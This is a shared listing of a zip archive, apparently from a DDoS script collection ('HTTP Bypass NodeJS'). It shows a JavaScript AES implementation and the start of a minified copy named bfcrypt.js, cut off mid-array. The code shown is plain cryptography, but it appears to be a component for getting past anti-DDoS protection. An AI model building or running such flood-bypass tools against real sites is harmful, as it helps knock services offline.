Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/HTTP Bypass NodeJS.zip
4607 views
PK|��PHTTP Bypass NodeJS/PKJ�OHTTP Bypass NodeJS/bypasses/PK
J�OLw�iTT"HTTP Bypass NodeJS/bypasses/aes.jsmodule.exports = {
    aes: {
        keySize: {
            SIZE_128: 16,
            SIZE_192: 24,
            SIZE_256: 32
        },
        sbox: [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188,
            182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22
        ],
        rsbox: [82, 9, 106, 213,
            48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115,
            150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125
        ],
        rotate: function(a) {
            for (var c = a[0], b = 0; 3 > b; b++) a[b] = a[b + 1];
            a[3] = c;
            return a
        },
        Rcon: [141, 1, 2, 4, 8, 16, 32, 64,
            128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29,
            58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203
        ],
        G2X: [0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 46, 48, 50, 52, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 84,
            86, 88, 90, 92, 94, 96, 98, 100, 102, 104, 106, 108, 110, 112, 114, 116, 118, 120, 122, 124, 126, 128, 130, 132, 134, 136, 138, 140, 142, 144, 146, 148, 150, 152, 154, 156, 158, 160, 162, 164, 166, 168, 170, 172, 174, 176, 178, 180, 182, 184, 186, 188, 190, 192, 194, 196, 198, 200, 202, 204, 206, 208, 210, 212, 214, 216, 218, 220, 222, 224, 226, 228, 230, 232, 234, 236, 238, 240, 242, 244, 246, 248, 250, 252, 254, 27, 25, 31, 29, 19, 17, 23, 21, 11, 9, 15, 13, 3, 1, 7, 5, 59, 57, 63, 61, 51, 49, 55, 53, 43, 41, 47, 45, 35, 33, 39, 37, 91, 89, 95, 93, 83, 81, 87, 85, 75, 73, 79, 77, 67, 65, 71, 69, 123, 121, 127, 125, 115, 113, 119, 117,
            107, 105, 111, 109, 99, 97, 103, 101, 155, 153, 159, 157, 147, 145, 151, 149, 139, 137, 143, 141, 131, 129, 135, 133, 187, 185, 191, 189, 179, 177, 183, 181, 171, 169, 175, 173, 163, 161, 167, 165, 219, 217, 223, 221, 211, 209, 215, 213, 203, 201, 207, 205, 195, 193, 199, 197, 251, 249, 255, 253, 243, 241, 247, 245, 235, 233, 239, 237, 227, 225, 231, 229
        ],
        G3X: [0, 3, 6, 5, 12, 15, 10, 9, 24, 27, 30, 29, 20, 23, 18, 17, 48, 51, 54, 53, 60, 63, 58, 57, 40, 43, 46, 45, 36, 39, 34, 33, 96, 99, 102, 101, 108, 111, 106, 105, 120, 123, 126, 125, 116, 119, 114, 113, 80, 83, 86, 85, 92, 95, 90, 89, 72, 75, 78, 77, 68, 71, 66, 65, 192, 195,
            198, 197, 204, 207, 202, 201, 216, 219, 222, 221, 212, 215, 210, 209, 240, 243, 246, 245, 252, 255, 250, 249, 232, 235, 238, 237, 228, 231, 226, 225, 160, 163, 166, 165, 172, 175, 170, 169, 184, 187, 190, 189, 180, 183, 178, 177, 144, 147, 150, 149, 156, 159, 154, 153, 136, 139, 142, 141, 132, 135, 130, 129, 155, 152, 157, 158, 151, 148, 145, 146, 131, 128, 133, 134, 143, 140, 137, 138, 171, 168, 173, 174, 167, 164, 161, 162, 179, 176, 181, 182, 191, 188, 185, 186, 251, 248, 253, 254, 247, 244, 241, 242, 227, 224, 229, 230, 239, 236, 233, 234, 203, 200, 205, 206, 199, 196, 193, 194, 211, 208, 213, 214, 223, 220, 217, 218,
            91, 88, 93, 94, 87, 84, 81, 82, 67, 64, 69, 70, 79, 76, 73, 74, 107, 104, 109, 110, 103, 100, 97, 98, 115, 112, 117, 118, 127, 124, 121, 122, 59, 56, 61, 62, 55, 52, 49, 50, 35, 32, 37, 38, 47, 44, 41, 42, 11, 8, 13, 14, 7, 4, 1, 2, 19, 16, 21, 22, 31, 28, 25, 26
        ],
        G9X: [0, 9, 18, 27, 36, 45, 54, 63, 72, 65, 90, 83, 108, 101, 126, 119, 144, 153, 130, 139, 180, 189, 166, 175, 216, 209, 202, 195, 252, 245, 238, 231, 59, 50, 41, 32, 31, 22, 13, 4, 115, 122, 97, 104, 87, 94, 69, 76, 171, 162, 185, 176, 143, 134, 157, 148, 227, 234, 241, 248, 199, 206, 213, 220, 118, 127, 100, 109, 82, 91, 64, 73, 62, 55, 44, 37, 26, 19, 8, 1, 230, 239, 244, 253,
            194, 203, 208, 217, 174, 167, 188, 181, 138, 131, 152, 145, 77, 68, 95, 86, 105, 96, 123, 114, 5, 12, 23, 30, 33, 40, 51, 58, 221, 212, 207, 198, 249, 240, 235, 226, 149, 156, 135, 142, 177, 184, 163, 170, 236, 229, 254, 247, 200, 193, 218, 211, 164, 173, 182, 191, 128, 137, 146, 155, 124, 117, 110, 103, 88, 81, 74, 67, 52, 61, 38, 47, 16, 25, 2, 11, 215, 222, 197, 204, 243, 250, 225, 232, 159, 150, 141, 132, 187, 178, 169, 160, 71, 78, 85, 92, 99, 106, 113, 120, 15, 6, 29, 20, 43, 34, 57, 48, 154, 147, 136, 129, 190, 183, 172, 165, 210, 219, 192, 201, 246, 255, 228, 237, 10, 3, 24, 17, 46, 39, 60, 53, 66, 75, 80, 89, 102, 111, 116,
            125, 161, 168, 179, 186, 133, 140, 151, 158, 233, 224, 251, 242, 205, 196, 223, 214, 49, 56, 35, 42, 21, 28, 7, 14, 121, 112, 107, 98, 93, 84, 79, 70
        ],
        GBX: [0, 11, 22, 29, 44, 39, 58, 49, 88, 83, 78, 69, 116, 127, 98, 105, 176, 187, 166, 173, 156, 151, 138, 129, 232, 227, 254, 245, 196, 207, 210, 217, 123, 112, 109, 102, 87, 92, 65, 74, 35, 40, 53, 62, 15, 4, 25, 18, 203, 192, 221, 214, 231, 236, 241, 250, 147, 152, 133, 142, 191, 180, 169, 162, 246, 253, 224, 235, 218, 209, 204, 199, 174, 165, 184, 179, 130, 137, 148, 159, 70, 77, 80, 91, 106, 97, 124, 119, 30, 21, 8, 3, 50, 57, 36, 47, 141, 134, 155, 144, 161, 170, 183, 188, 213,
            222, 195, 200, 249, 242, 239, 228, 61, 54, 43, 32, 17, 26, 7, 12, 101, 110, 115, 120, 73, 66, 95, 84, 247, 252, 225, 234, 219, 208, 205, 198, 175, 164, 185, 178, 131, 136, 149, 158, 71, 76, 81, 90, 107, 96, 125, 118, 31, 20, 9, 2, 51, 56, 37, 46, 140, 135, 154, 145, 160, 171, 182, 189, 212, 223, 194, 201, 248, 243, 238, 229, 60, 55, 42, 33, 16, 27, 6, 13, 100, 111, 114, 121, 72, 67, 94, 85, 1, 10, 23, 28, 45, 38, 59, 48, 89, 82, 79, 68, 117, 126, 99, 104, 177, 186, 167, 172, 157, 150, 139, 128, 233, 226, 255, 244, 197, 206, 211, 216, 122, 113, 108, 103, 86, 93, 64, 75, 34, 41, 52, 63, 14, 5, 24, 19, 202, 193, 220, 215, 230, 237, 240, 251,
            146, 153, 132, 143, 190, 181, 168, 163
        ],
        GDX: [0, 13, 26, 23, 52, 57, 46, 35, 104, 101, 114, 127, 92, 81, 70, 75, 208, 221, 202, 199, 228, 233, 254, 243, 184, 181, 162, 175, 140, 129, 150, 155, 187, 182, 161, 172, 143, 130, 149, 152, 211, 222, 201, 196, 231, 234, 253, 240, 107, 102, 113, 124, 95, 82, 69, 72, 3, 14, 25, 20, 55, 58, 45, 32, 109, 96, 119, 122, 89, 84, 67, 78, 5, 8, 31, 18, 49, 60, 43, 38, 189, 176, 167, 170, 137, 132, 147, 158, 213, 216, 207, 194, 225, 236, 251, 246, 214, 219, 204, 193, 226, 239, 248, 245, 190, 179, 164, 169, 138, 135, 144, 157, 6, 11, 28, 17, 50, 63, 40, 37, 110, 99, 116, 121, 90, 87, 64, 77, 218, 215,
            192, 205, 238, 227, 244, 249, 178, 191, 168, 165, 134, 139, 156, 145, 10, 7, 16, 29, 62, 51, 36, 41, 98, 111, 120, 117, 86, 91, 76, 65, 97, 108, 123, 118, 85, 88, 79, 66, 9, 4, 19, 30, 61, 48, 39, 42, 177, 188, 171, 166, 133, 136, 159, 146, 217, 212, 195, 206, 237, 224, 247, 250, 183, 186, 173, 160, 131, 142, 153, 148, 223, 210, 197, 200, 235, 230, 241, 252, 103, 106, 125, 112, 83, 94, 73, 68, 15, 2, 21, 24, 59, 54, 33, 44, 12, 1, 22, 27, 56, 53, 34, 47, 100, 105, 126, 115, 80, 93, 74, 71, 220, 209, 198, 203, 232, 229, 242, 255, 180, 185, 174, 163, 128, 141, 154, 151
        ],
        GEX: [0, 14, 28, 18, 56, 54, 36, 42, 112, 126, 108, 98, 72, 70, 84,
            90, 224, 238, 252, 242, 216, 214, 196, 202, 144, 158, 140, 130, 168, 166, 180, 186, 219, 213, 199, 201, 227, 237, 255, 241, 171, 165, 183, 185, 147, 157, 143, 129, 59, 53, 39, 41, 3, 13, 31, 17, 75, 69, 87, 89, 115, 125, 111, 97, 173, 163, 177, 191, 149, 155, 137, 135, 221, 211, 193, 207, 229, 235, 249, 247, 77, 67, 81, 95, 117, 123, 105, 103, 61, 51, 33, 47, 5, 11, 25, 23, 118, 120, 106, 100, 78, 64, 82, 92, 6, 8, 26, 20, 62, 48, 34, 44, 150, 152, 138, 132, 174, 160, 178, 188, 230, 232, 250, 244, 222, 208, 194, 204, 65, 79, 93, 83, 121, 119, 101, 107, 49, 63, 45, 35, 9, 7, 21, 27, 161, 175, 189, 179, 153, 151, 133, 139, 209, 223, 205,
            195, 233, 231, 245, 251, 154, 148, 134, 136, 162, 172, 190, 176, 234, 228, 246, 248, 210, 220, 206, 192, 122, 116, 102, 104, 66, 76, 94, 80, 10, 4, 22, 24, 50, 60, 46, 32, 236, 226, 240, 254, 212, 218, 200, 198, 156, 146, 128, 142, 164, 170, 184, 182, 12, 2, 16, 30, 52, 58, 40, 38, 124, 114, 96, 110, 68, 74, 88, 86, 55, 57, 43, 37, 15, 1, 19, 29, 71, 73, 91, 85, 127, 113, 99, 109, 215, 217, 203, 197, 239, 225, 243, 253, 167, 169, 187, 181, 159, 145, 131, 141
        ],
        core: function(a, c) {
            a = this.rotate(a);
            for (var b = 0; 4 > b; ++b) a[b] = this.sbox[a[b]];
            a[0] ^= this.Rcon[c];
            return a
        },
        expandKey: function(a, c) {
            var b = 16 *
                (this.numberOfRounds(c) + 1),
                d, f = 1,
                e = [],
                g = [];
            for (d = 0; d < b; d++) g[d] = 0;
            for (d = 0; d < c; d++) g[d] = a[d];
            for (d = 0 + c; d < b;) {
                for (var h = 0; 4 > h; h++) e[h] = g[d - 4 + h];
                0 == d % c && (e = this.core(e, f++));
                if (c == this.keySize.SIZE_256 && 16 == d % c)
                    for (h = 0; 4 > h; h++) e[h] = this.sbox[e[h]];
                for (h = 0; 4 > h; h++) g[d] = g[d - c] ^ e[h], d++
            }
            return g
        },
        addRoundKey: function(a, c) {
            for (var b = 0; 16 > b; b++) a[b] ^= c[b];
            return a
        },
        createRoundKey: function(a, c) {
            for (var b = [], d = 0; 4 > d; d++)
                for (var f = 0; 4 > f; f++) b[4 * f + d] = a[c + 4 * d + f];
            return b
        },
        subBytes: function(a, c) {
            for (var b = 0; 16 >
                b; b++) a[b] = c ? this.rsbox[a[b]] : this.sbox[a[b]];
            return a
        },
        shiftRows: function(a, c) {
            for (var b = 0; 4 > b; b++) a = this.shiftRow(a, 4 * b, b, c);
            return a
        },
        shiftRow: function(a, c, b, d) {
            for (var f = 0; f < b; f++)
                if (d) {
                    for (var e = a[c + 3], g = 3; 0 < g; g--) a[c + g] = a[c + g - 1];
                    a[c] = e
                } else {
                    e = a[c];
                    for (g = 0; 3 > g; g++) a[c + g] = a[c + g + 1];
                    a[c + 3] = e
                } return a
        },
        galois_multiplication: function(a, c) {
            for (var b = 0, d = 0; 8 > d; d++) {
                1 == (c & 1) && (b ^= a);
                256 < b && (b ^= 256);
                var f = a & 128;
                a <<= 1;
                256 < a && (a ^= 256);
                128 == f && (a ^= 27);
                256 < a && (a ^= 256);
                c >>= 1;
                256 < c && (c ^= 256)
            }
            return b
        },
        mixColumns: function(a,
            c) {
            for (var b = [], d = 0; 4 > d; d++) {
                for (var f = 0; 4 > f; f++) b[f] = a[4 * f + d];
                b = this.mixColumn(b, c);
                for (f = 0; 4 > f; f++) a[4 * f + d] = b[f]
            }
            return a
        },
        mixColumn: function(a, c) {
            var b = c ? [14, 9, 13, 11] : [2, 1, 1, 3];
            for (var d = [], f = 0; 4 > f; f++) d[f] = a[f];
            a[0] = this.galois_multiplication(d[0], b[0]) ^ this.galois_multiplication(d[3], b[1]) ^ this.galois_multiplication(d[2], b[2]) ^ this.galois_multiplication(d[1], b[3]);
            a[1] = this.galois_multiplication(d[1], b[0]) ^ this.galois_multiplication(d[0], b[1]) ^ this.galois_multiplication(d[3], b[2]) ^ this.galois_multiplication(d[2],
                b[3]);
            a[2] = this.galois_multiplication(d[2], b[0]) ^ this.galois_multiplication(d[1], b[1]) ^ this.galois_multiplication(d[0], b[2]) ^ this.galois_multiplication(d[3], b[3]);
            a[3] = this.galois_multiplication(d[3], b[0]) ^ this.galois_multiplication(d[2], b[1]) ^ this.galois_multiplication(d[1], b[2]) ^ this.galois_multiplication(d[0], b[3]);
            return a
        },
        round: function(a, c) {
            a = this.subBytes(a, !1);
            a = this.shiftRows(a, !1);
            a = this.mixColumns(a, !1);
            return a = this.addRoundKey(a, c)
        },
        invRound: function(a, c) {
            a = this.shiftRows(a, !0);
            a = this.subBytes(a,
                !0);
            a = this.addRoundKey(a, c);
            return a = this.mixColumns(a, !0)
        },
        main: function(a, c, b) {
            a = this.addRoundKey(a, this.createRoundKey(c, 0));
            for (var d = 1; d < b; d++) a = this.round(a, this.createRoundKey(c, 16 * d));
            a = this.subBytes(a, !1);
            a = this.shiftRows(a, !1);
            return a = this.addRoundKey(a, this.createRoundKey(c, 16 * b))
        },
        invMain: function(a, c, b) {
            a = this.addRoundKey(a, this.createRoundKey(c, 16 * b));
            for (--b; 0 < b; b--) a = this.invRound(a, this.createRoundKey(c, 16 * b));
            a = this.shiftRows(a, !0);
            a = this.subBytes(a, !0);
            return a = this.addRoundKey(a,
                this.createRoundKey(c, 0))
        },
        numberOfRounds: function(a) {
            switch (a) {
                case this.keySize.SIZE_128:
                    a = 10;
                    break;
                case this.keySize.SIZE_192:
                    a = 12;
                    break;
                case this.keySize.SIZE_256:
                    a = 14;
                    break;
                default:
                    return null
            }
            return a
        },
        encrypt: function(a, c, b) {
            for (var d = [], f = [], e = this.numberOfRounds(b), g = 0; 4 > g; g++)
                for (var h = 0; 4 > h; h++) f[g + 4 * h] = a[4 * g + h];
            a = this.expandKey(c, b);
            f = this.main(f, a, e);
            for (e = 0; 4 > e; e++)
                for (a = 0; 4 > a; a++) d[4 * e + a] = f[e + 4 * a];
            return d
        },
        decrypt: function(a, c, b) {
            for (var d = [], f = [], e = this.numberOfRounds(b), g = 0; 4 > g; g++)
                for (var h =
                        0; 4 > h; h++) f[g + 4 * h] = a[4 * g + h];
            a = this.expandKey(c, b);
            f = this.invMain(f, a, e);
            for (e = 0; 4 > e; e++)
                for (a = 0; 4 > a; a++) d[4 * e + a] = f[e + 4 * a];
            return d
        }
    },
    modeOfOperation: {
        OFB: 0,
        CFB: 1,
        CBC: 2
    },
    getBlock: function(a, c, b, d) {
        16 < b - c && (b = c + 16);
        return a.slice(c, b)
    },
    encrypt: function(a, c, b, d) {
        var f = b.length;
        if (d.length % 16) throw "iv length must be 128 bits.";
        var e = [],
            g = [],
            h = [],
            m = !0;
        c == this.modeOfOperation.CBC && this.padBytesIn(a);
        if (null !== a)
            for (var n = 0; n < Math.ceil(a.length / 16); n++) {
                var q = 16 * n,
                    p = 16 * n + 16;
                16 * n + 16 > a.length && (p = a.length);
                var l = this.getBlock(a, q, p, c);
                if (c == this.modeOfOperation.CFB) {
                    m ? (e = this.aes.encrypt(d, b, f), m = !1) : e = this.aes.encrypt(e, b, f);
                    for (var k = 0; 16 > k; k++) g[k] = l[k] ^ e[k];
                    for (l = 0; l < p - q; l++) h.push(g[l]);
                    e = g
                } else if (c == this.modeOfOperation.OFB) {
                    m ? (e = this.aes.encrypt(d, b, f), m = !1) : e = this.aes.encrypt(e, b, f);
                    for (k = 0; 16 > k; k++) g[k] = l[k] ^ e[k];
                    for (l = 0; l < p - q; l++) h.push(g[l])
                } else if (c == this.modeOfOperation.CBC) {
                    for (k = 0; 16 > k; k++) e[k] = l[k] ^ (m ? d[k] : g[k]);
                    m = !1;
                    g = this.aes.encrypt(e, b, f);
                    for (l = 0; 16 > l; l++) h.push(g[l])
                }
            }
        return h
    },
    decrypt: function(a, c, b, d) {
        var f = b.length;
        if (d.length % 16) throw "iv length must be 128 bits.";
        var e = [],
            g = [],
            h = [],
            m = !0;
        if (null !== a) {
            for (var n = 0; n < Math.ceil(a.length / 16); n++) {
                var q = 16 * n,
                    p = 16 * n + 16;
                16 * n + 16 > a.length && (p = a.length);
                var l = this.getBlock(a, q, p, c);
                if (c == this.modeOfOperation.CFB) {
                    if (m) {
                        var k = this.aes.encrypt(d, b, f);
                        m = !1
                    } else k = this.aes.encrypt(e, b, f);
                    for (i = 0; 16 > i; i++) g[i] = k[i] ^ l[i];
                    for (e = 0; e < p - q; e++) h.push(g[e]);
                    e = l
                } else if (c == this.modeOfOperation.OFB) {
                    m ? (k = this.aes.encrypt(d, b, f), m = !1) : k = this.aes.encrypt(e,
                        b, f);
                    for (i = 0; 16 > i; i++) g[i] = k[i] ^ l[i];
                    for (e = 0; e < p - q; e++) h.push(g[e]);
                    e = k
                } else if (c == this.modeOfOperation.CBC) {
                    k = this.aes.decrypt(l, b, f);
                    for (i = 0; 16 > i; i++) g[i] = (m ? d[i] : e[i]) ^ k[i];
                    m = !1;
                    for (e = 0; e < p - q; e++) h.push(g[e]);
                    e = l
                }
            }
            c == this.modeOfOperation.CBC && this.unpadBytesOut(h)
        }
        return h
    },
    padBytesIn: function(a) {
        for (var c = 16 - a.length % 16, b = 0; b < c; b++) a.push(c)
    },
    unpadBytesOut: function(a) {
        var c = 0,
            b = -1;
        if (16 < a.length) {
            for (var d = a.length - 1; d >= a.length - 1 - 16; d--) {
                if (16 >= a[d]) {
                    -1 == b && (b = a[d]);
                    if (a[d] != b) {
                        c = 0;
                        break
                    }
                    c++
                } else break;
                if (c == b) break
            }
            0 < c && a.splice(a.length - c, c)
        }
    }
};PK
J�OV�_h�5�5&HTTP Bypass NodeJS/bypasses/bfcrypt.jsmodule.exports = {aes:{keySize:{SIZE_128:16,SIZE_192:24,SIZE_256:32},sbox:[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22],rsbox:[82,9,106,213,48,54,165,56,191,64,163,158,129,243,215,251,124,227,57,130,155,47,255,135,52,142,67,68,196,222,233,203,84,123,148,50,166,194,35,61,238,76,149,11,66,250,195,78,8,46,161,102,40,217,36,178,118,91,162,73,109,139,209,37,114,248,246,100,134,104,152,22,212,164,92,204,93,101,182,146,108,112,72,80,253,237,185,218,94,21,70,87,167,141,157,132,144,216,171,0,140,188,211,10,247,228,88,5,184,179,69,6,208,44,30,143,202,63,15,2,193,175,189,3,1,19,138,107,58,145,17,65,79,103,220,234,151,242,207,206,240,180,230,115,150,172,116,34,231,173,53,133,226,249,55,232,28,117,223,110,71,241,26,113,29,41,197,137,111,183,98,14,170,24,190,27,252,86,62,75,198,210,121,32,154,219,192,254,120,205,90,244,31,221,168,51,136,7,199,49,177,18,16,89,39,128,236,95,96,81,127,169,25,181,74,13,45,229,122,159,147,201,156,239,160,224,59,77,174,42,245,176,200,235,187,60,131,83,153,97,23,43,4,126,186,119,214,38,225,105,20,99,85,33,12,125],rotate:function(i){for(var t=i[0],r=0;3>r;r++)i[r]=i[r+1];return i[3]=t,i},Rcon:[141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203,141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203,141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203,141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203,141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203],G2X:[0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110,112,114,116,118,120,122,124,126,128,130,132,134,136,138,140,142,144,146,148,150,152,154,156,158,160,162,164,166,168,170,172,174,176,178,180,182,184,186,188,190,192,194,196,198,200,202,204,206,208,210,212,214,216,218,220,222,224,226,228,230,232,234,236,238,240,242,244,246,248,250,252,254,27,25,31,29,19,17,23,21,11,9,15,13,3,1,7,5,59,57,63,61,51,49,55,53,43,41,47,45,35,33,39,37,91,89,95,93,83,81,87,85,75,73,79,77,67,65,71,69,123,121,127,125,115,113,119,117,107,105,111,109,99,97,103,101,155,153,159,157,147,145,151,149,139,137,143,141,131,129,135,133,187,185,191,189,179,177,183,181,171,169,175,173,163,161,167,165,219,217,223,221,211,209,215,213,203,201,207,205,195,193,199,197,251,249,255,253,243,241,247,245,235,233,239,237,227,225,231,229],G3X:[0,3,6,5,12,15,10,9,24,27,30,29,20,23,18,17,48,51,54,53,60,63,58,57,40,43,46,45,36,39,34,33,96,99,102,101,108,111,106,105,120,123,126,125,116,119,114,113,80,83,86,85,92,95,90,89,72,75,78,77,68,71,66,65,192,195,198,197,204,207,202,201,216,219,222,221,212,215,210,209,240,243,246,245,252,255,250,249,232,235,238,237,228,231,226,225,160,163,166,165,172,175,170,169,184,187,190,189,180,183,178,177,144,147,150,149,156,159,154,153,136,139,142,141,132,135,130,129,155,152,157,158,151,148,145,146,131,128,133,134,143,140,137,138,171,168,173,174,167,164,161,162,179,176,181,182,191,188,185,186,251,248,253,254,247,244,241,242,227,224,229,230,239,236,233,234,203,200,205,206,199,196,193,194,211,208,213,214,223,220,217,218,91,88,93,94,87,84,81,82,67,64,69,70,79,76,73,74,107,104,109,110,103,100,97,98,115,112,117,118,127,124,121,122,59,56,61,62,55,52,49,50,35,32,37,38,47,44,41,42,11,8,13,14,7,4,1,2,19,16,21,22,31,28,25,26],G9X:[0,9,18,27,36,45,54,63,72,65,90,83,108,101,126,119,144,153,130,139,180,189,166,175,216,209,202,195,252,245,238,231,59,50,41,32,31,22,13,4,115,122,97,104,87,94,69,76,171,162,185,176,143,134,157,148,227,234,241,248,199,206,213,220,118,127,100,109,82,91,64,73,62,55,44,37,26,19,8,1,230,239,244,253,194,203,208,217,174,167,188,181,138,131,152,145,77,68,95,86,105,96,123,114,5,12,23,30,33,40,51,58,221,212,207,198,249,240,235,226,149,156,135,142,177,184,163,170,236,229,254,247,200,193,218,211,164,173,182,191,128,137,146,155,124,117,110,103,88,81,74,67,52,61,38,47,16,25,2,11,215,222,197,204,243,250,225,232,159,150,141,132,187,178,169,160,71,78,85,92,99,106,113,120,15,6,29,20,43,34,57,48,154,147,136,129,190,183,172,165,210,219,192,201,246,255,228,237,10,3,24,17,46,39,60,53,66,75,80,89,102,111,116,125,161,168,179,186,133,140,151,158,233,224,251,242,205,196,223,214,49,56,35,42,21,28,7,14,121,112,107,98,93,84,79,70],GBX:[0,11,22,29,44,39,58,49,88,83,78,69,116,127,98,105,176,187,166,173,156,151,138,129,232,227,254,245,196,207,210,217,123,112,109,102,87,92,65,74,35,40,53,62,15,4,25,18,203,192,221,214,231,236,241,250,147,152,133,142,191,180,169,162,246,253,224,235,218,209,204,199,174,165,184,179,130,137,148,159,70,77,80,91,106,97,124,119,30,21,8,3,50,57,36,47,141,134,155,144,161,170,183,188,213,222,195,200,249,242,239,228,61,5